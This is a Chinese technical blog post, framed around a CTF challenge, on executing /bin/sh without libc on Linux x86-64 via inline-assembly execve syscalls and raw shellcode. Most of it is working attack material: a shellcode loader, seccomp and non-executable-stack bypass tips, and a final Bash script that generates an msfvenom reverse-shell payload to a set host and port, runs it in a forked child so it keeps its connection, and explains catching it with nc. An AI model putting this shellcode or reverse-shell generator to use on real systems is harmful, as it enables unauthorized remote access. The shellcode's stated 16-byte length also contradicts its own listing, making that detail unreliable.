当前位置: 首页 > news >正文

绕过 C 标准库限制执行系统命令:系统调用、Shellcode 和裸机二进制

引言

在某些编程挑战或受限环境中,例如 CTF竞赛或嵌入式系统,C 标准库(libc)可能被明确禁止使用。这种限制阻止了使用便捷的函数,如 system()execve(),迫使开发者直接与操作系统交互。
在这里插入图片描述

在一道题目中,给定了编译参数如下: gcc -std=c11 -nostdinc -I/var/www/include -z execstack -fno-stack-protector -no-pie test.c -o a.out,它禁用了标准库的包含,并放宽了某些安全限制,为使用低级技术(如系统调用和 shellcode)打开了大门。本文将探讨在 Linux x86-64 系统上如何绕过这些限制以执行任意命令,特别是启动 /bin/sh,主要通过两种方法:不使用 libc 的手写 C 系统调用和纯 shellcode 注入。我们还将讨论常见问题、优化技巧和实际实现,包括一个 shellcode 加载器脚本。


理解约束

给定的编译参数提供了关键的环境信息:

  • -nostdinc:阻止包含标准 C 库头文件,确保代码不能依赖标准库。
  • -z execstack:使栈内存可执行,允许在栈上运行代码(如 shellcode)。
  • -fno-stack-protector:禁用栈溢出保护(栈缓冲区溢出检查),便于利用栈溢出。
  • -no-pie:禁用位置无关可执行文件(PIE),生成的二进制文件使用固定地址,便于 shellcode 跳转。
  • -std=c11:使用 C11 标准,但不影响核心限制。
  • -I/var/www/include:指定自定义头文件路径,但不提供标准库功能。

目标是通过直接与 Linux 内核交互,执行 /bin/sh,而核心方法是使用 execve 系统调用(系统调用号 59)。由于标准库被禁用,我们需要通过内联汇编直接调用 syscall 指令或使用纯 shellcode 来实现。

方法一:手写系统调用(无 libc 的 C 程序)

实现原理

Linux 内核通过系统调用(syscall)提供服务,允许用户态程序请求内核执行特定操作,例如启动新进程或打开文件。execve 系统调用可以执行 /bin/sh,其原型为:

int execve(const char *pathname, char *const argv[], char *const envp[]);

在 x86-64 架构下,系统调用通过 syscall 指令触发,参数通过寄存器传递(rdirsirdx 等),系统调用号存储在 rax 中。对于 execve,我们需要:

  • rax = 59execve 的系统调用号)
  • rdi:指向 /bin/sh 字符串的指针
  • rsiargv(通常为 NULL
  • rdxenvp(通常为 NULL

由于不能使用 libc,我们需要通过内联汇编直接发出 syscall,并确保程序不依赖标准库的启动代码(如 crt0)。

最小 C 代码实现

以下是一个最小化的 C 程序,使用内联汇编实现 execve("/bin/sh", NULL, NULL)

// mini.c
__attribute__((naked, noreturn)) void _start() {asm volatile("lea   binsh(%rip), %rdi \n\t"   // pathname"xor   %rsi, %rsi               \n\t"   // argv = NULL"xor   %rdx, %rdx               \n\t"   // envp = NULL"mov   $59, %rax                \n\t"   // execve"syscall                        \n\t""hlt                            \n\t"   // never return"binsh: .asciz \"/bin/sh\"");
}

代码解析

  • __attribute__((naked, noreturn))
    • naked:告诉编译器不要为函数生成序言和结尾代码(例如栈帧设置),完全由汇编控制。
    • noreturn:指示函数不会返回,避免编译器生成不必要的返回代码。
  • _start:这是程序的入口点,取代标准 C 的 main 函数,因为我们不使用 libc 的启动代码。
  • 内联汇编
    • lea binsh(%rip), %rdi:将 /bin/sh 字符串的地址加载到 rdi(RIP 相对寻址,确保位置无关)。
    • xor %rsi, %rsixor %rdx, %rdx:将 argvenvp 设置为 NULL
    • mov $59, %rax:设置系统调用号为 59(execve)。
    • syscall:触发系统调用,执行 /bin/sh
    • hlt:停止执行,防止程序继续运行(实际上不会到达此指令,因为 execve 会替换进程映像)。
    • binsh: .asciz "/bin/sh":定义一个以空字符结尾的字符串 /bin/sh

编译与链接

为了生成不依赖 libc 的可执行文件,使用以下命令:

gcc -nostdlib -static -Wl,--build-id=none -o mini mini.c
strip -s mini
  • -nostdlib:不链接标准库或启动代码,确保二进制文件完全独立。
  • -static:静态链接,避免依赖动态链接器(如 ld.so)。
  • -Wl,--build-id=none:移除构建 ID,进一步减小二进制体积。
  • strip -s mini:去除符号表和调试信息,将二进制文件缩小到几百字节。

生成的 mini 文件是一个极小的静态二进制文件,直接调用内核的 execve 服务,启动 /bin/sh

优化与控制体积

静态链接可能会生成较大的二进制文件(几 KB)。为了进一步优化,可以使用自定义链接脚本:

ld -Ttext 0x400000 -e _start mini.o -o mini
  • -Ttext 0x400000:将代码段起始地址设置为 0x400000(ELF 默认文本段地址)。
  • -e _start:指定入口点为 _start
  • mini.o:由 gcc -c mini.c 编译得到的目标文件。

这种方法可以将二进制文件控制在 1 KB 以内,适合受限环境。

方法二:纯 Shellcode 实现

实现原理

Shellcode 是一段紧凑的机器码,设计为在受限环境中直接执行。由于题目放宽了栈保护(-z execstack-fno-stack-protector),我们可以将 shellcode 写入可执行内存(例如栈或数据段),然后跳转执行。以下是一个 16 字节的 shellcode,用于调用 execve("/bin/sh", NULL, NULL)

; nasm -f bin sh.s -o sh.bin
BITS 64lea    rdi, [rel binsh]xor    rsi, rsixor    rdx, rdxmov    rax, 59syscall
binsh: db "/bin/sh",0

机器码

汇编后,生成以下 16 字节机器码:

48 8D 3D 0E 00 00 00   ; lea rdi,[rip+0xe]
48 31 F6               ; xor rsi,rsi
48 31 D2               ; xor rdx,rdx
48 C7 C0 3B 00 00 00   ; mov rax,0x3b
0F 05                  ; syscall
2F 62 69 6E 2F 73 68 00 ; "/bin/sh",0

使用场景

如果题目存在栈溢出漏洞,并且栈可执行(由 -z execstack 保证),可以将上述机器码写入栈或其他可执行内存区域,然后将控制流跳转到该地址。跳转可以通过以下方式实现:

  • 栈溢出:覆盖返回地址为 shellcode 地址。
  • 函数指针覆盖:将函数指针指向 shellcode。
  • 直接调用:将 shellcode 放入 .data.bss 段,转换为函数指针调用。

加载 Shellcode 的 C 程序

为了方便注入 shellcode,可以使用以下 C 程序加载并执行它:

int main(void) {unsigned char sc[] = {0x48, 0x8D, 0x3D, 0x0E, 0x00, 0x00, 0x00,0x48, 0x31, 0xF6,0x48, 0x31, 0xD2,0x48, 0xC7, 0xC0, 0x3B, 0x00, 0x00, 0x00,0x0F, 0x05,0x2F, 0x62, 0x69, 0x6E, 0x2F, 0x73, 0x68, 0x00};((void(*)())sc)();return 0;
}
  • sc[]:存储 shellcode 的字节数组。
  • ((void(*)())sc)():将数组转换为函数指针并调用,执行 shellcode。

编译时使用题目提供的参数:

gcc -std=c11 -nostdinc -I/var/www/include -z execstack -fno-stack-protector -no-pie test.c -o a.out

由于 -z execstacksc[] 所在的栈内存是可执行的,shellcode 将直接运行并启动 /bin/sh

常见问题与解决方案

在实际环境中,可能遇到以下挑战:

  1. 没有 /bin/sh

    • 解决方法:使用 openreadwrite 系统调用实现一个简单的 shell。例如:
      int open(const char *pathname, int flags);
      ssize_t read(int fd, void *buf, size_t count);
      ssize_t write(int fd, const void *buf, size_t count);
      
      通过这些调用读写标准输入输出,模拟 shell 功能。
    • 替代方法:使用 openatexecveat 访问 /proc/self/fd/3 等文件描述符。
  2. Seccomp 沙箱限制

    • 解决方法:
      • 使用 prctl(PR_SET_SECCOMP, 0) 尝试禁用 seccomp(需要权限)。
      • 使用 ptrace 修改自身进程的 seccomp 规则(高级技巧)。
      • 退而求其次,使用 openreadwrite 系统调用(通常未被 seccomp 禁用)实现 ORW(Open-Read-Write)攻击。
  3. 栈不可执行

    • 解决方法:
      • 将 shellcode 放入 .bss.data 段(这些段通常是可写的)。
      • 使用 mmap 系统调用分配一块 RWX(可读、可写、可执行)内存:
        void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);
        
        设置 prot = PROT_READ | PROT_WRITE | PROT_EXECflags = MAP_PRIVATE | MAP_ANONYMOUS
  4. 二进制文件体积过大

    • 解决方法:如前所述,使用自定义链接脚本或 strip 工具减少体积。
    • 极致优化:直接生成纯机器码(shellcode),避免 ELF 文件头。

Shellcode 加载器脚本

为了自动化生成反弹 shell 的 shellcode 并嵌入 C 程序,我写了如下 Bash 脚本:

#!/usr/bin/env bash
LHOST="192.168.56.10"
LPORT="4444"
OUT_C="test.c"# 1. 生成 shellcode
msfvenom -p linux/x64/shell_reverse_tcp \LHOST="$LHOST" LPORT="$LPORT" \-f raw 2>/dev/null > /tmp/rev.raw
[[ -s /tmp/rev.raw ]] || { echo "[-] msfvenom failed"; exit 1; }# 2. 转换为十六进制
SC_HEX=$(xxd -p -c 1 /tmp/rev.raw | sed 's/^/0x/' | paste -sd',' -)# 3. 生成 C 文件(子进程执行)
cat > "$OUT_C" <<EOF
int fork(void);
int execve(const char *p, char *const a[], char *const e[]);int main(void)
{if (fork() == 0) {unsigned char sc[] = {$SC_HEX};((void(*)())sc)();}return 0;
}
EOFecho "[+] Generated $OUT_C"

脚本解析

  • msfvenom:使用 Metasploit 的 msfvenom 生成反向 shell shellcode,连接到指定 LHOSTLPORT
  • xxd:将原始 shellcode 转换为十六进制格式,适配 C 数组。
  • fork():在 C 程序中创建子进程执行 shellcode,主进程保持运行,确保二进制文件被删除后不断连。

使用方法

  1. 设置 LHOSTLPORT 为你的监听地址和端口。
  2. 运行脚本,生成 test.c
  3. 使用题目提供的编译命令编译:
    gcc -std=c11 -nostdinc -I/var/www/include -z execstack -fno-stack-protector -no-pie test.c -o a.out
    
  4. LHOST:LPORT 上启动监听器(如 nc -lvp 4444),运行 a.out,获取反向 shell。

结论

在禁用 C 标准库的 Linux x86-64 环境中,通过直接使用 syscall 指令或 shellcode,我们可以绕过限制并执行任意命令(如启动 /bin/sh)。方法一(C 系统调用)适合快速开发和调试,方法二(纯 shellcode)则适合极小体积和漏洞利用场景。

总的来说,“禁止 libc” 只是让你丢掉 system() 这种糖,无论环境如何限制,只要还能发出 0x80 或 syscall 指令,你就能让内核干活。

http://www.dtcms.com/a/340469.html

相关文章:

  • week2-[一维数组]出现次数
  • css中的性能优化之content-visibility: auto
  • InfluxDB 查询性能优化实战(二)
  • 【解决方案】powershell自动连接夜神adb端口
  • 手撕线程池
  • AI 伦理的 “灰色地带”:当算法拥有决策权,公平与隐私该如何平衡?
  • C# NX二次开发:面收集器控件和曲线收集器控件详解
  • 边缘智能体:Go编译在医疗IoT设备端运行轻量AI模型(下)
  • DAY 51 复习日
  • Redis 复制功能是如何工作的
  • Android 开发问题:android:marginTop=“20px“ 属性不生效
  • 多系统 Node.js 环境自动化部署脚本:从 Ubuntu 到 CentOS,再到版本自由定制
  • 云原生俱乐部-k8s知识点归纳(5)
  • 自动化测试用例生成:基于Python的参数化测试框架设计与实现
  • MeterSphere断言操作
  • 多肽修饰——胆固醇(chol)
  • B站 XMCVE Pwn入门课程学习笔记(7)
  • sigmastar设备树引脚复用研究
  • 《GPT-OSS 模型全解析:OpenAI 回归开源的 Mixture-of-Experts 之路》
  • sqlalchemy 是怎么进行sql表结构管理的,怎么进行数据处理的
  • 【Svelte】load 函数中如何获取 url 信息?
  • 从基础到本质:文件 IO 操作全解析
  • 医学统计学常用方法汇总,差异性/相关回归/生存分析/一致性检验
  • windows electron-builder打包后应用图标更新问题
  • RabbitMQ:SpringAMQP 声明队列和交换机
  • 数据湖学习
  • 安装electron报错的解决方法
  • 换根DP(P3478 [POI 2008] STA-StationP3574 [POI 2014] FAR-FarmCraft)
  • 智慧冷库物联网解决方案——实现降本增效与风险可控的冷库管理新范式
  • 算法学习----Python数据结构--kmp字符串